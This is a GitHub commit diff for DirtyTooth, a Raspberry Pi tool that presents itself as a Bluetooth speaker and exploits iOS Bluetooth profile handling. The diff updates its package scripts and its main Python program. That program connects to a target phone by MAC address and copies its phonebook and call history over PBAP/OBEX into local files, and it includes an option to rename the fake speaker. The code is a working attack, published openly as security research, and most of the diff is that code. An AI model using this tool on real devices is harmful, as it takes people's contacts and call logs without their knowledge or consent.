Skip to content

Commit 9c6634a

Browse files
committed
Updated for Raspbian Stretch
Updated for Raspbian Stretch
1 parent 627a32f commit 9c6634a

14 files changed

Lines changed: 314 additions & 256 deletions

File tree

LICENSE

100644100755
File mode changed.

README.md

100644100755
Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,10 +1,10 @@
11
![Version](https://img.shields.io/badge/Raspberry_Pi-DirtyTooth-red.svg?style=flat-square)
22
![License](https://img.shields.io/badge/license-AGPL-green.svg?style=flat-square)
33

4-
# DirtyTooth for Raspberry Pi
4+
# DirtyTooth for Raspberry Pi (Raspbian Stretch)
55

66
Bluetooth communications are on the increase. Millions of users use the technology to connect to peripherals that simplify and provide greater comfort and experience.
7-
There is a trick or hack for iOS 10.3.3 and earlier that takes advantage of the management of the profiles causing impact on the privacy of users who use Bluetooth technology daily.
7+
There is a trick or hack for iOS 11.1.2 and earlier that takes advantage of the management of the profiles causing impact on the privacy of users who use Bluetooth technology daily.
88
From the iOS device information leak caused by the incorrect management of profiles, a lot of information about the user and their background may be obtained.
99

1010
Compile
@@ -24,7 +24,7 @@ sudo ./install.sh
2424
If you want to install it manually, you need to prepare the dependences and install the *dirtytooth.deb* packet:
2525
```
2626
sudo apt-get update
27-
sudo apt-get install pi-bluetooth libbluetooth-dev python-dev python-dbus python-pip python-gobject python-gobject-2 git pulseaudio pulseaudio-module-bluetooth
27+
sudo apt-get install bluealsa libbluetooth-dev python-dbus python-pip git
2828
sudo dpkg -i dirtytooth.deb
2929
```
3030

dirtytooth/DEBIAN/control

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,9 +1,9 @@
11
Package: dirtytooth
2-
Version: 1.0
2+
Version: 2.0
33
Section: base
44
Priority: optional
55
Architecture: armhf
6-
Depends: pi-bluetooth, libbluetooth-dev, python-dev, python-dbus, python-pip, python-gobject, python-gobject-2, git, pulseaudio, pulseaudio-module-bluetooth
6+
Depends: bluealsa, libbluetooth-dev, python-dbus, python-pip, git
77
Maintainer: Eleven Paths <labs@elevenpaths.com>
8-
Description: Dirtytooth package
8+
Description: DirtyTooth package
99
DirtyTooth is a small hack that takes advantage of the iOS configuration as far as bluetooth profile management is concerned, through this little hack you can extract information from users an their environment.

dirtytooth/DEBIAN/postinst

Lines changed: 19 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -28,15 +28,26 @@ if [ "$psutil" == "" ] ; then
2828
sudo pip install psutil==5.2.2
2929
fi
3030

31-
my_sudo_user=$SUDO_USER
32-
sudo usermod -a -G lp $my_sudo_user
33-
34-
sed -i '/.*resample-method =.*/c\resample-method = trivial' /etc/pulse/daemon.conf
31+
# Detect if watchdog is installed
32+
watchdog=$(pip list | grep watchdog)
33+
if [ "$watchdog" == "" ] ; then
34+
sudo pip install watchdog==0.8.3
35+
fi
3536

3637
# Add audio hook
37-
audiohook=$(cat /etc/udev/rules.d/99-com.rules | grep /usr/lib/udev/bluetooth)
38-
if [ "$audiohook" == "" ] ; then
39-
sudo sed -i '/SUBSYSTEM=="input".*/a KERNEL=="input\[0-9\]*", RUN+="/usr/lib/udev/bluetooth"' /etc/udev/rules.d/99-com.rules
40-
fi
38+
# audiohook=$(cat /etc/udev/rules.d/99-com.rules | grep /usr/lib/udev/bluetooth)
39+
# if [ "$audiohook" == "" ] ; then
40+
# sudo sed -i '/SUBSYSTEM=="input".*/a KERNEL=="input\[0-9\]*", PROGRAM="/usr/lib/udev/bluetooth"' /etc/udev/rules.d/99-com.rules
41+
# fi
42+
43+
MAC_ADAPTER=$(hcitool dev | grep -o "[[:xdigit:]:]\{11,17\}")
44+
45+
# Add info to asoundrc
46+
asoundrc=/root/.asoundrc
47+
echo "defaults.bluealsa.interface \"hci0\"" > $asoundrc
48+
echo "defaults.bluealsa.device \"$MAC_ADAPTER\"" >> $asoundrc
49+
echo "defaults.bluealsa.profile \"a2dp\"" >> $asoundrc
50+
echo "defaults.bluealsa.delay 10000" >> $asoundrc
4151

4252
echo "Dirtytooth installation finished"
53+
exit 0

dirtytooth/DEBIAN/postrm

Lines changed: 5 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -2,9 +2,10 @@
22
# Post remove script for dirtytooth package
33

44
# Delete audio hook
5-
audiohook=$(cat /etc/udev/rules.d/99-com.rules | grep /usr/lib/udev/bluetooth)
6-
if [ "$audiohook" != "" ] ; then
7-
sudo sed -i '/.*\/usr\/lib\/udev\/bluetooth"/d' /etc/udev/rules.d/99-com.rules
8-
fi
5+
# audiohook=$(cat /etc/udev/rules.d/99-com.rules | grep /usr/lib/udev/bluetooth)
6+
# if [ "$audiohook" != "" ] ; then
7+
# sudo sed -i '/.*\/usr\/lib\/udev\/bluetooth"/d' /etc/udev/rules.d/99-com.rules
8+
# fi
99

1010
echo "Dirtytooth package removed"
11+
exit 0

dirtytooth/DEBIAN/preinst

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -7,3 +7,5 @@ else
77
echo "Dirtytooth installer needs Internet to install the necessary dependencies."
88
exit 1
99
fi
10+
11+
exit 0

dirtytooth/DEBIAN/prerm

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
11
#!/bin/bash
22
# Pre remove script for dirtytooth package
33

4-
my_sudo_user=$SUDO_USER
5-
sudo gpasswd -d $my_sudo_user lp
4+
echo "Uninstalling Dirtytooth..."
5+
exit 0

dirtytooth/etc/bluetooth/audio.conf

Lines changed: 0 additions & 2 deletions
This file was deleted.

dirtytooth/usr/bin/dirtytooth

Lines changed: 180 additions & 35 deletions
Original file line numberDiff line numberDiff line change
@@ -2,44 +2,93 @@
22
# -*- coding: utf-8 -*-
33

44
import os
5+
import re
56
import sys
67
import time
7-
import psutil
8+
import shutil
89
import logging
910
import argparse
1011
import datetime
11-
import bluetooth
1212
import subprocess
13+
from xml.dom import minidom
14+
from xml.etree import ElementTree
15+
16+
import psutil
17+
import bluetooth
1318
from nOBEX import client, headers, responses
1419

20+
LOG_PATH = '/var/log/dirtytooth'
21+
FILES_PATH = '/root/dirtytooth'
1522
START_PATH = '/usr/lib/dirtytooth/start'
16-
FILES_PATH = '/root/dirtytooth/'
17-
LOG_PATH = '/var/log/bluetooth_dev'
23+
24+
CONTACT_BLOCK_SIZE = 5
1825

1926
parser = argparse.ArgumentParser(description='Dirtytooth package',
2027
epilog="Enjoy with dirtytooth!")
2128
group = parser.add_mutually_exclusive_group(required=True)
2229
group.add_argument('--start', action='store_true', help='Start agent discover')
2330
group.add_argument('--stop', action='store_true', help='Stop agent discover')
24-
group.add_argument('--mac', help='MAC device to get dirtytooth! }:)')
31+
group.add_argument('--restart', action='store_true', help='Restart agent discover')
32+
group.add_argument('-n', '--name', help='Change the name of the bluetooth speaker')
33+
group.add_argument('-m', '--mac', help='MAC device to get dirtytooth! }:)')
2534
args = parser.parse_args()
2635

2736

37+
def start():
38+
if get_pid():
39+
print('dirtyagent process is already open!')
40+
logging.info("dirtyagent process is already open!")
41+
else:
42+
subprocess.call([START_PATH], shell=True)
43+
logging.info("dirtyagent process started")
44+
45+
46+
def stop():
47+
pid = get_pid()
48+
if pid:
49+
p = psutil.Process(pid)
50+
p.terminate()
51+
logging.info("Stop dirtyagent")
52+
else:
53+
print('dirtyagent process doesn´t exist')
54+
logging.info("Try to stop process, but it´s doesn´t exist")
55+
56+
57+
def restart():
58+
stop()
59+
time.sleep(1)
60+
start()
61+
logging.info("Dirtytooth restarted")
62+
63+
2864
def get_pid():
2965
for proc_name in psutil.pids():
3066
if psutil.Process(proc_name).name() == 'dirtyagent':
3167
return psutil.Process(proc_name).pid
3268
return None
3369

3470

35-
def write_file(filename, file):
36-
with open(FILES_PATH + filename, "w") as f:
37-
f.write(file)
71+
def write_file(filename, card):
72+
with open(filename, "w") as f:
73+
f.write(card)
74+
3875

76+
def dump_xml(element, file_name):
77+
fd = open(file_name, 'w')
78+
fd.write('<?xml version="1.0"?>\n<!DOCTYPE vcard-listing SYSTEM "vcard-listing.dtd">\n')
79+
rough_string = ElementTree.tostring(element, 'utf-8')
80+
reparsed = minidom.parseString(rough_string)
81+
pretty_string = reparsed.toprettyxml().encode('utf-8')
82+
fd.write(pretty_string[23:]) # skip xml declaration
83+
fd.close()
3984

40-
def get_name(addr):
41-
return subprocess.check_output(["/usr/lib/dirtytooth/device",
42-
"name", addr], shell=False)
85+
86+
def escape_ampersands(s):
87+
# Terrible hack to work around Python getting mad at things like
88+
# <foo goo="Moo & Roo" />
89+
us = str(s, encoding='utf-8')
90+
us2 = '&amp;'.join(us.split('&'))
91+
return bytes(us2, encoding='utf-8')
4392

4493

4594
def connect(device_address):
@@ -62,56 +111,152 @@ def connect(device_address):
62111
return c
63112

64113

65-
def get_file(c, src_path, filename, book=True):
114+
def dump_dir(c, src_path, dest_path):
115+
src_path = src_path.strip("/")
116+
117+
# since some people may still be holding back progress with Python 2, I'll support
118+
# them for now and not use the Python 3 exists_ok option :(
119+
try:
120+
os.makedirs(dest_path)
121+
except OSError as e:
122+
logging.exception(e)
123+
pass
124+
125+
# Access the list of vcards in the directory
126+
hdrs, cards = c.get(src_path, header_list=[headers.Type(b'x-bt/vcard-listing')])
127+
128+
# Parse the XML response to the previous request.
129+
# Extract a list of file names in the directory
130+
names = []
131+
try:
132+
root = ElementTree.fromstring(cards)
133+
except ElementTree.ParseError:
134+
root = ElementTree.fromstring(escape_ampersands(cards))
135+
dump_xml(root, "/".join([dest_path, "listing.xml"]))
136+
for card in root.findall("card"):
137+
names.append(card.attrib["handle"])
138+
139+
logging.info("The number files on {} is {}".format(dest_path, len(names)))
140+
141+
c.setpath(src_path)
142+
143+
# return to the root directory
144+
depth = len([f for f in src_path.split("/") if len(f)])
145+
for i in range(depth):
146+
c.setpath(to_parent=True)
147+
148+
return names
149+
150+
151+
def get_file(c, src_path, dest_path, folder_name=None, book=True):
66152
if book:
67153
mimetype = b'x-bt/phonebook'
68154
else:
69155
mimetype = b'x-bt/vcard'
70156

71-
hdrs, file = c.get(src_path, header_list=[headers.Type(mimetype)])
72-
write_file(filename, file)
73-
logging.info('%s save!' % filename)
157+
try:
158+
hdrs, card = c.get(src_path, header_list=[headers.Type(mimetype)])
159+
write_file(dest_path, card)
160+
logging.info('%s save!' % dest_path)
161+
return card
162+
except Exception as e:
163+
logging.exception('Exception in get data!: %s' % e)
164+
return False
165+
166+
167+
def get_data(c, src_path, dest_path, data_list, min_list, max_list):
168+
c.setpath(src_path)
169+
for n in data_list[min_list:max_list]:
170+
filename = "/".join([dest_path, n])
171+
get_file(c, n, filename, folder_name=src_path, book=False)
172+
173+
depth = len([f for f in src_path.split("/") if len(f)])
174+
for x in range(depth):
175+
c.setpath(to_parent=True)
74176

75177

76178
def main():
77-
logging.basicConfig(format='%(levelname)s:%(message)s',
179+
logging.basicConfig(format='%(asctime)s - %(levelname)s:%(message)s',
180+
datefmt='%d/%m/%Y %I:%M:%S %p',
78181
filename=LOG_PATH,
79182
level=logging.DEBUG)
183+
logging.info("DirtyTooth script started")
80184

81185
if args.start:
82-
if get_pid():
83-
print('Process dirtyagent is already open!')
84-
else:
85-
subprocess.call([START_PATH], shell=True)
186+
start()
86187
elif args.stop:
87-
pid = get_pid()
88-
if pid:
89-
p = psutil.Process(pid)
90-
p.terminate()
91-
else:
92-
print('Process dirtyagent doesn´t exist')
188+
stop()
189+
elif args.restart:
190+
restart()
191+
elif args.name:
192+
with open(START_PATH, 'r') as in_file:
193+
text = in_file.read()
194+
195+
replace = re.sub(r'name "(.*?)"', 'name "%s"' % args.name, text)
196+
197+
with open('/usr/lib/dirtytooth/start_', 'w') as out_file:
198+
out_file.write(replace)
199+
200+
os.chmod('/usr/lib/dirtytooth/start_', 0o755)
201+
shutil.move('/usr/lib/dirtytooth/start_', START_PATH)
202+
restart()
203+
logging.info("Dirtytooth name changed: {}".format(args.name))
93204
else:
94205
if get_pid():
95-
print('Dirtytooth: Getting device info: %s' % args.mac)
96-
97-
device_address = args.mac
206+
print('Getting device info: {}'.format(args.mac))
207+
logging.info('Getting device info: {}'.format(args.mac))
98208

99-
c = connect(device_address)
209+
mac_add = args.mac
100210

101211
if not os.path.isdir(FILES_PATH):
102212
os.mkdir(FILES_PATH)
103213

104214
date = datetime.datetime.fromtimestamp(time.time()).strftime('%Y%m%d%H%M%S')
105215

106-
get_file(c, "telecom/pb.vcf",
107-
"%s-UTC_%s_phonebook" % (date, device_address))
108-
get_file(c, "telecom/cch.vcf",
109-
"%s-UTC_%s_history" % (date, device_address))
216+
tries = 0
217+
while tries < 5:
218+
logging.info('Try %s connect device...' % tries)
219+
try:
220+
c = connect(mac_add)
221+
logging.info("Dirtytooth connect with device %s" % mac_add)
222+
223+
src_path_pb = "telecom/pb"
224+
src_path_cch = "telecom/cch"
225+
226+
dest_path_pb = "{}/{}-UTC_{}_telecom/pb".format(FILES_PATH, date, mac_add)
227+
dest_path_cch = "{}/{}-UTC_{}_telecom/cch".format(FILES_PATH, date, mac_add)
228+
229+
list_pb = dump_dir(c, src_path_pb, dest_path_pb)
230+
list_cch = dump_dir(c, src_path_cch, dest_path_cch)
231+
232+
logging.info('Try getting contacts data...')
233+
234+
i = 0
235+
j = CONTACT_BLOCK_SIZE
236+
237+
while j <= max(len(list_pb), len(list_cch)) + CONTACT_BLOCK_SIZE:
238+
get_data(c, src_path_pb.strip("/"), dest_path_pb,
239+
list_pb, i, j)
240+
get_data(c, src_path_cch.strip("/"), dest_path_cch,
241+
list_cch, i, j)
242+
243+
i = i + CONTACT_BLOCK_SIZE
244+
j = j + CONTACT_BLOCK_SIZE
245+
246+
c.disconnect()
247+
return 1
248+
249+
except Exception as e:
250+
tries = tries + 1
251+
c.disconnect()
252+
logging.exception('Exception in main: %s' % e)
110253

111-
c.disconnect()
254+
logging.error("dirtytooth failed!")
112255
return 0
113256
else:
114257
print('Process dirtyagent doesn´t exist')
258+
logging.warning("Process dirtyagent doesn´t exist")
259+
return 1
115260

116261

117262
if __name__ == "__main__":

dirtytooth/usr/lib/dirtytooth/dirtyagent

Lines changed: 0 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -3,7 +3,6 @@
33
from __future__ import absolute_import, print_function, unicode_literals
44

55
from optparse import OptionParser
6-
# import sys
76
import dbus
87
import dbus.service
98
import dbus.mainloop.glib

0 commit comments

Comments
 (0)